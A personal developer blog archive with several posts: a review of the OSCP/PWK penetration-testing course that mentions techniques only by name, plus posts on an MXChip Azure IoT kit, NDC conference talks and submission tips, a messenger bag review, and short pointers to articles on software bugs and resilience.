I think most folks coming to this course unless they are coming from the security world already will find they have at least one weak area in the above. For me it was limited Linux experience and knowledge although this was offset by a software development background and understanding of web applications. An unexpected benefit I found was that by the end of the course I had a good working knowledge of Linux and loved working with it 😊

What I enjoyed
I really enjoyed this course and loved the range of subjects and areas it covered.

I think this was probably the most fun course I have ever done and you get a genuine rush when compromising one of the lab machines which was er weirdly addictive and led to some late nights as I worked through a tricky problem.

By the end of the course, you will have a decent understanding of the methodology pen testers (and I guess also attackers) will approach compromising a machine and network.

This gave me a new perspective on development projects and will assist with the development of secure software.

For me the highlights of the course were:

  • Compromising my first lab machine. I cannot stress enough that the lab and most of the exercises are really fun, time will fly and it doesn’t feel like work
  • Whilst I was familiar with the concepts of subjects like buffer overflows it’s a different thing altogether to create one yourself and having it initiate a reverse shell 🙂
  • I was surprised at how sophisticated some of the common tools were and how easy they made tasks e.g. MetaSploit & SQLMap
  • Playing with assembly – cant think of when I have done this outside of uni!
  • SSH tunnelling – wow didnt know you could do some of this stuff!
  • Abusing various inbuilt Windows and Linux functions to do things like download a file from a remote machine using regsvr, certutil etc

What I wish I had known
Offensive Security have a motto “Try Harder” that you’ll come across this many times in the course materials and forums.

I can imagine that pen testers require resilience and perseverance and if you are not the sort of person who will get curious about a problem and work through it then you probably wont enjoy this course or pen testing for that matter. However, let’s remember you are doing this course to learn and there is a point where “Try Harder” is not useful (“Bean dad” anyone?).

You have limited lab time and want to make the most of this. Whilst you can and will learn something researching a challenging topic there’s a point where you are probably better off getting some help. In this course help will come mainly from the forums.

At the beginning of the course I got stuck on a machine for nearly a week. Whilst I learnt stuff trying to work through this issue I probably should have looked at the forums earlier to learn a concept I wasn’t aware of. I also would have found this wasn’t one of the best machines to begin with. When you start you also want something matching your skill and experience level so you can practice the basics without getting frustrated and not getting anywhere. My advice would be to set a time limit and then look at the forums if you are stuck to help you get past the blockage then continue on your own.

Offensive Security provide a lab learning path of machines they suggest you work through. I didn’t spot this at the beginning even through its on the lab machine control page doh. This has 10 or so machines to work through with the first 2 having a detailed step by step write-ups in the forums. Do look at this as you’ll learn a lot especially with the first 2 writeup’s!  

The machines are of varying difficulty and by the end I could exploit 2-3 in one night with I think the quickest being 15 or so minutes and the longest a week (at the beginning of the course!).

For most machines you’ll run a port scan and maybe some other scans and then work through the various services. It took me a while to realise this but its very easy to get stuck thinking one option is certain to be the route in. This is a trap! Set a time limit for each service/hole and then work through them systematically. You will be amazed what you missed when come back round or what you might discover on another service you haven’t looked at yet.

For me I mostly found I could get a foot hold on most machines fairly easily but the challenges came around privilege escalation.

Privilege escalation is where you have some kind of access to a machine but it is of a limited level and you then attempt to increase this access. There’s various ways of doing this from exploiting misconfigured setups and binaries to full on kernel exploits. As a beginner I found this area the hardest and had to grind through all the options which could be tiring and frustrating but worth persevering with.

Tib3rius has two really great privilege escalation courses on Udemy (one for Linux and one for Windows) which I wish I’d watched earlier in the course and would highly recommend.

I haven’t taken the exam for this course yet (that’s in a couple of months as I wanted a break over xmas period and need to get some practice in!) so cant comment on that aspect yet (you’ll find a heap of posts around others experiences). I will say however that really enjoyed this course and learnt a lot from it so would highly recommend it. It also had the unexpected benefit for me of massively upgrading my Linux skills 🙂

For those folks not caring about the OSCP Certification or wanting a cheaper option Heath Adams’s (the Cyber Mentor) Practical Ethical Hacking course is amazing value at AUD $10.99 for over 24hrs content.
This covers much of the same areas as PWK and is really well put together (I also think the Windows AD stuff in examined in more depth).

Other Resources
Now it should go without saying that trying to compromise machines you don’t have permission to do so is illegal and shouldn’t be done under any circumstances.

There are several great and free/cheap services offering legal and great options to practice against that can help you prepare for the course:

Hack the box has many machines to practice against and some are similar to those on the course. If you’ve never done this stuff before however do not start here as you’ll get frustrated quickly as there is little to no guidance provided. I’d recommend the paid version of the service as it gives you access to older machines that have detailed write-ups if you get stuck.

TryHackMe have many “rooms” that take you through the development of various skills and experiences e.g. specific tools and techniques. If you are not sure if this stuff is for you then the recent Advent of Cyber room is a really nice basic intro to some basic techniques:

IppSec YouTube Channel. IppSec provides video walkthroughs of hacking various (mainly HackTheBox) machines. This guy is a genius and entertaining to watch. I’d watch a few videos each week and found I would learn heaps and come across some great tools and techniques.

Linux Smart Enum. This script makes it really easy to see Linux privesc options more than the better known LinPEAS and LinEnum. Highly recommend adding to your toolkit.

MXChip Microsoft Azure IoT Developer Kit

I recently ordered a MXChip Microsoft Azure IoT Developer Kit to have a play with.

It looks like this when it arrives:


The MXChip Dev Kit is an awesome solution designed for prototyping IoT and cloud-based solutions and comes with a heap of functionality and sensors including:

  • WiFi
  • OLED
  • Headphone
  • Microphone
  • Temperature sensor
  • Humidity sensor
  • Motion sensor
  • Programmable buttons
  • Security encryption chip

Lots of goodies to play with without having to order and setup more components and sensors!

Setup couldn’t be easier and within about 10 minutes I had my dev kit sending data to Azure IoT hub (setup would have been even shorter had I typed in the WiFi password correctly – duh!).

Setup was basically:

  • Create an Azure IoT hub in the Azure portal
  • Plug in the dev kit via USB
  • Download the latest firmware and copy it onto device like you were copying to a USB stick
  • Connect to the MXChips WiFi access point
  • Browse to a setup web page page, enter WiFi and IoT hub connection details
  • You are good to go and the device will then send temperature info to Azure IoT hub


So how do you create your own applications?

The kit is Arduino compatible and Microsoft has developed a heap of extensions, samples and tutorials for Visual Studio Code aimed at making it easy to develop, debug and deploy your own applications.

Setup was mostly painless although one of the extensions had some trouble installing and I couldn’t get the debug stuff that would allow me to see what the device was sending. I think this may be some USB driver issue and will require further fiddling..

One of the extensions gives you access to several tutorial projects and samples making it easy to explore the devices capabilities further.

I haven’t touched C++ for many years but the sample code was very readable and could easily be tweaked for your own projects.

Overall whilst the MXChip dev board is more expensive than some other options I was really impressed by all the functionality contained on the board, tutorial and sample support and ease of setup with Azure IoT hub.

If you want your own kit I purchased mine for about $90 AUD (American readers will find this considerably cheaper) from Core Electronics (

NDC Oslo 2019 – Developing Solutions for Everyone

It was great to have the chance to speak at NDC Oslo 2019 on the subject of developing solutions for everyone.

This was a very personal talk for me and a bit different to the more technical talks I generally focus on.

This is a talk about how we sometimes can exclude, make harder or even harm groups of people to use what we create software and how we can avoid this.


I found this one a challenging one to give given the subject matter which touches on everything from discrimination to hate groups.

For those wanting to know more about this area the talk was influenced by Sara Wachter-Boettcher’s book Technically Wrong. I also attended a few other talks at NDC Oslo that talk about this area such as Tess’s “We are the guardians of the future” and Sasha’s “Why our products and communities need our empathy” that i’d highly recommend watching when the videos are released.

The talk video will be available shortly but slides are online in the downloads section of my website/NDC Oslo 2019 folder.

Thoughts on Conference Submissions

The last week I’ve been in Oslo, Norway where I had the pleasure of being on the NDC Sydney 2019 Agenda committee and speaking at the conference.

Whilst I’ve had a fair bit of experience creating agendas via DDD Melbourne and user groups it was very interesting to see how a large commercial (and one of my two fav Australian conferences along with Web Directions) handles putting an agenda together.

Opinions are mine and mine alone
I should probably start of by saying what follows is my opinion and may not reflect that of other agenda committee members or NDC organizers.

The agenda we proposed will also be reviewed by NDC organizers before speakers are informed so is likely to change a bit (and no I wont tell you who got in etc you’ll have to wait until the official emails!).

With that out the way there are a few things I wanted to talk about and things you can do to maximize your chances of getting in.


Sometimes you may do everything right and not get in
First up don’t be put off if you are declined from a conference.

NDC Sydney 2019 received over 800 submissions and there are a lot less spots. This means many people are not going to be successful and includes some well-known names.

You not getting in isn’t necessarily (but might be!) a reflection of your speaking abilities, how your talks went previously or your topic it is simply impossible to squeeze everyone in.

There was more than enough awesome content to fill multiple conferences.

What can you do to maximize your chance of speaking well I have a few thoughts but the main thing I’d encourage you to do is simply keep submitting!

Commercial conferences need to make money
Whilst it would be wonderful for a conference to be able to support every speaker and topic a commercial conference is significantly different to a community event such as DDD Melbourne and needs to attract customers.

Whilst these are not the only drivers having well known great speakers and interesting topics will likely equal more customers

Have a think about your subject – would you or your colleagues pay to see the talk you are proposing?

If the answer is no then your talk may be better placed in a local user group.

Choose a great title
Major conferences get many submissions and the title is the first thing the agenda committee sees.

A good title is interesting, enough to draw the reader in for a deeper look or makes it obvious what the session is about and I guess in an ideal world all of the above.

Also avoid cliché titles such as Make SAP great again (it’s probably not possible), in the trenches with Silverlight etc as these titles suck.

Write a clear & concise abstract that describes what your session is about
With many sessions to review you want to make the agenda committee’s job easy.

Some session summaries were like mini novels and despite all the text it was still difficult to work out what the presenter wanted to actually talking about!

Writing a good abstract is hard (as is concise writing) and needs practice. Get someone else to read your abstract does it make sense?

Also avoid swearing (many of us enjoy a good swear but this isn’t the place for it) and slang as it may not make sense to the reader.

Tag your session correctly
If a conference asks you what category your session fits in please don’t tag it with every subject.

Most sessions have 1 or 2 primary categories they fit in.

Categories are one way of ensuring a distribution of subjects in a conference and if you tag your session with everything it just makes more work.

Proofread and spelling
Just do it, there’s tools to help and if you are crap at this stuff get a friend or colleague to help.

Review pre-booked speakers at conference
If you can see a conference has a well-known expert, author or contributor to a library, language or framework talking you probably don’t want to be submitting a what’s new in X or introduction to Y talk on the same subject.

Whilst some subjects will warrant multiple talks guess who the general public would rather hear from a) the author of a framework/library or b) an unknown speaker?

Having said this it is certainly not impossible to speak about the same topic as a big name speaker (we accepted sessions that did on popular subjects) but you’ll probably need want something unique to make your session relevant.

Avoid intro level talks unless its something very new
If it’s a subject that has been around for a while and is well understood I think you’d be better avoiding an intro-level talk for a commercial conference.

Attendees will likely be familiar with what you will discuss or can quickly learn about it and it wont draw people to the conference.

Well known speakers can however probably revisit any topic they want as will still draw a crowd but if you are reading this article this probably is not you (yet!).

Consider the conference you are submitting to
NDC has a wide range of development talks with probably a lean towards the Microsoft platform. A talk on very niche subjects of say Perl may be better suited else where.

Consider avoiding personal story/philosophy style talks
Whilst you may have some awesome stuff to say unless you are well known or have a particularly interesting story to tell the general audience we may not be that excited about how your cat gave you a different perspective on Angular (I’d love to hear over a beer however).

Some subjects are going to be a harder sell
Its no surprise that the development world has trends and there are some subjects that just aren’t that popular right now.

Something that is very niche such as run SQL Server on custom Finish Alpine Linux kernel reverse proxy docker container on Google cloud is probably only going to be relevant to a few people so likely wont get in.

Other subjects such as old JavaScript libraries or stuff that has fallen out of favour will also be a harder (but not impossible) sell.

Make it easy for us to find your past talks
You do have past-talks right?

A commercial conference likes to see a speakers history so they have some assurance you will do a good talk.

If you have no history then you are a risk which is a shame as you may be awesome and have lots to say!

There’s an easy way to deal with this and that’s to go and talk at various user groups and meetups and do talks.

Practice is also going to make you a better speaker full stop.

Expecting a commercial conference to take a chance on you if you have no history of speaking is a bit of an ask – but does happen.

We do look in detail into short listed speakers, try and find a quick look at videos of previous talks etc so make them easy to find!

For those of you that wont be successful this time to NDC Sydney please don’t be put off -keep submitting talks, talk at your local user group & DDD events and try again next year.

I’m really excited about the agenda we have for NDC Sydney 2019 and (I’m biased) but its seriously the best ever!



Alpaka Gear 7venMessenger Bag


My friend Jin of Alpaka gear kindly sent me a prototype of his kickstarter project the 7venMessenger bag.

The 7venMessenger bag describes itself as “the only bag you will need” and aims to be suitable for everyday work & leisure usage and also for a short weekend away.

When I was working for IT consultancies there was a regular discussion around what is the best laptop bag which is very relevant when you are frequently travelling.

I have always favoured Samsonite Backpacks as found them comfortable and hard wearing so was interested to see the 7venMessenger bag and how it compares.

Here’s a picture of my bag – note this is the prototype and Jin tells me there may be a couple of changes coming so the final bag may be slightly different:


Well I am probably not the best judge of aesthetics (2 kids soon change your priorities to robustness of any clothing or gear) but the 7venMessenger certainly looks smart & wouldn’t be out of place at the smartest of soirees which er i’d never get invited to. The bag also receives a nod of approval from my wife (who knows a heap more about bags than I do) so this is a good sign.

The bag is constructed out of 1000D Ballistic Nylon – I don’t know what that is and what its bullet protection abilities are but it certainly feels tough, durable and looks smart. The bag is also water proof and easy to clean according to the website.

The bag feels reasonably light although is certainly heavier than some of my other bags. Its pyramid shape also means it stands on its own rather than collapses.

The attention to detail & quality on the bag is impressive. There is a massive amount of pockets, mesh compartments and storage (even on the strap!) which I love as there are always various cable chargers, USB sticks etc that need a storage location.

The bag can be worn in a number of ways such as over the shoulder, as a brief case or backpack – it also has a sleeve for fitting over a case handle that you might use at airports. The bag is very comfortable to carry using its leather handle and I find this is the preferred option standing on the train.

The bag has a magnetic clip on the front that looks like it would be released by pulling it up but is actually opened by sliding it sideways. It did confuse me at first and I spent a couple of minutes puzzled but I do like how the magnet pulls the clip together.

The bag is a decent size and easily holds my Dell XPS 13 inch in a padded section. I understand from Jin & his team that the final bag will hold a Macbook 15 inch comfortably. It does feel a little wider than the average messenger bag and I notice sitting on the train with it on my lap it expands slightly beyond my seat area but it’s not a huge issue.

In conclusion the 7venmessenger bag is an awesome product that I would highly recommend.

You can get this bag at a great price by backing the kick starter project at: what are you waiting for?


Famous Software Bugs

Despite the best of intentions and processes we all screw up sometimes.

I think pretty much every developer has made a screw up of some kind over their career (and if you haven’t you are either very lucky, unaware you have done so or prob not doing anything interesting!).

I spent some time putting together a list of high profile bugs for an article on

Some issues are amusing & entertaining, some are downright terrifying & a few tragically resulted in loss of life.

Check out the article here:


Building Resilient Systems

No one likes using unreliable computer systems.

There can be few things more annoying (in terms of 1st world problems anyway) than having an application freeze and losing a load of work.

Losing work is annoying but what if the system performed a more important function such as managing your bank account or maybe even helping an aircraft navigate?

  • How can we measure resiliency?
  • What are the best ways to ensure our systems are resilient?
  • How do companies such as Netflix approaching this?

Check out my post on this at